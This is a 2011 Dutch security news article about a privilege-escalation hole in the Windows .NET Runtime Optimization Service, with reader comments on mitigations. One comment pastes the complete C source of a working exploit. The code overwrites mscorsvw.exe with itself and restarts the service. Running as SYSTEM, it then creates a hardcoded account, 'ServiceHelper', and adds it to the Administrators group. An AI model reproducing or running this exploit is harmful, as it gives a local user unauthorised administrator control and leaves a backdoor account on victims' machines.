image

Zero-day lek in Windows onthuld

woensdag 9 maart 2011, 11:21 door Redactie, 9 reacties

Er is een exploit op internet verschenen waardoor lokale aanvallers hun rechten op Windows XP, Server 2003 en Windows 7 kunnen verhogen. Het probleem wordt door onveilige schrijfrechten in de .NET Runtime Optimization Service applicatie "mscorsvw.exe" veroorzaakt. Daardoor zou een kwaadwillende Power of Domein user het uitvoerbare bestand door een kwaadaardig bestand vervangen om vervolgens met SYSTEM-rechten willekeurige code uit te voeren.

Het Franse beveiligingsbedrijf heeft de kwetsbaarheid op Windows XP en Server 2003 bevestigd, maar volgens onderzoeker XenoMuta is ook Windows 7 kwetsbaar. Een update van Microsoft is nog niet beschikbaar.

Reacties (9)
09-03-2011, 12:50 door Anoniem
Helpt MS EMET 2 hiertegen ?

Zijn er overigens testtools voor EMET ?
09-03-2011, 16:05 door Anoniem
Is dit ook al in meta exploit verkrijgbaar ?
Wil wel hiermee testen uitvoeren.
09-03-2011, 16:53 door Anoniem
Misschien wordt er pas een patch bij de volgende patchdinsdag uitgegeven die dit lek gaat dichten.
09-03-2011, 17:04 door Anoniem
Volgens mij helpt MS EMET 2 hier niet tegen.

EMET 2 voorkomt dat stiekem in het ram geheugen geplaatste code wordt uitgevoerd.

Bij deze exploit wordt het uitvoerbare bestand "mscorsw.exe" vervangen door een mallware bestand, dat de rechten van de
lokale aanvaller verhoogt, waardoor deze willekeurige code kan runnen. zonder dus eerst stiekem in het ram geheugen mallware code te hoeven plaatsen.

Dus helaas, EMET 2 helpt niet tegen deze exploit.

Over testtools voor EMET weet ik niets.
09-03-2011, 17:10 door SirDice
Mis ik iets? Op mijn Windows XP kan 't ding wel door Power users worden overschreven maar NIET door een (domain) user.

En voor zover mij bekent is het betreffende bestand onderdeel van .NET 2.0. Voor 1.0, 1.1, 3.0 en 3.5 kan ik 'm niet vinden.

Overigens is de "fix" natuurlijk rete simpel, daarvoor hoef je echt niet op een patch te wachten. Haal gewoon die schrijfrechten weg.
09-03-2011, 20:58 door Anoniem
Op mijn Windows 7 lukt het mij niet om als administrator bij elk voorkomen van het bestand "mscorsvw.exe" de schrijfrechten weg te halen. Als ik dat probeer krijg ik van Windows 7 de foutmelding "toegang geweigerd".
Via "Eigenschappen" het "Alleen lezen" aanvinken lukt dus niet. Of zie ik iets over het hoofd?
09-03-2011, 22:31 door Anoniem
Om die F**** Poc te kunnen zien moet je payen :/

Public Exploit or PoC

Available in customer area as part of the VUPEN Vulnerability Notification Service.

LuLz

Lijkt me onwss dat win 7 meepakt ,
09-03-2011, 22:39 door c0re
Hier de exploit ! voor de skids

/*
# Exploit Title: .NET Runtime Optimization Service Privilege Escalation
# Date: 03-07-2011
# Author: XenoMuta <xenomuta@tuxfamily.org>
# Version: v2.0.50727
# Tested on: Windows XP (sp3), 2003 R2, 7
# CVE : n/a

_ __ __ ___ __
| |/ /__ ____ ____ / |/ /_ __/ /_____ _
| / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
/ / __/ / / / /_/ / / / / /_/ / /_/ /_/ /
/_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/

xenomuta [at] tuxfamily.org
xenomuta [at] gmail.com
http://xenomuta.tuxfamily.org/ - Methylxantina 256mg

This one's a no-brainer, plain simple:

This service's EXE file can be overwritten by any non-admin domain user
and local power users ( wich are the default permissions set ).
This exploit compiles to a service that uses the original service's id.

Tested on Windows 2003, WinXP (sp3) and Win7
( my guess is that it runs on any win box running this service ).

greetz to fr1t0l4y, L.Garay, siriguillo and the c0ff33 br34k t34m!!

bless y'all!

*/
#include <stdio.h>
#include <windows.h>

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

#define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe"
#define PWN_SHORT "mscorsvw.exe"
#define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"
#define PWN_ID "clr_optimization_v2.0.50727_32"

void ServiceMain(int argc, char** argv) {
if (InitService()) {
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
}

void ControlHandler(DWORD request);
int InitService();

int main(int argc, char **argv) {
char acUserName[100];
DWORD nUserName = sizeof(acUserName);
GetUserName(acUserName, &nUserName);

if (strcmp((char *)&acUserName, "SYSTEM")) {
char *str = (char *)malloc(2048);
memset(str, 0, 2048);
snprintf(str, 2048, "%s.bak", PWN_EXE);
if (rename(PWN_EXE, str) != 0) {
fprintf(stderr, " :( sorry, can't write to file.\n");
exit(1);
}
CopyFile(argv[0], PWN_EXE, !0);
snprintf(str, 2048, "net start \"%s\" 2> NUL > NUL",PWN_NAME);
printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n");
system(str);
}

SERVICE_TABLE_ENTRY ServiceTable[2];

ServiceTable[0].lpServiceName = PWN_ID;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);

return 0;
}

int InitService() {
system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Administrators ServiceHelper /add");
}
10-03-2011, 10:24 door SirDice
Door c0re: Hier de exploit ! voor de skids
Daar was al naar gelinkt in het artikel.
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.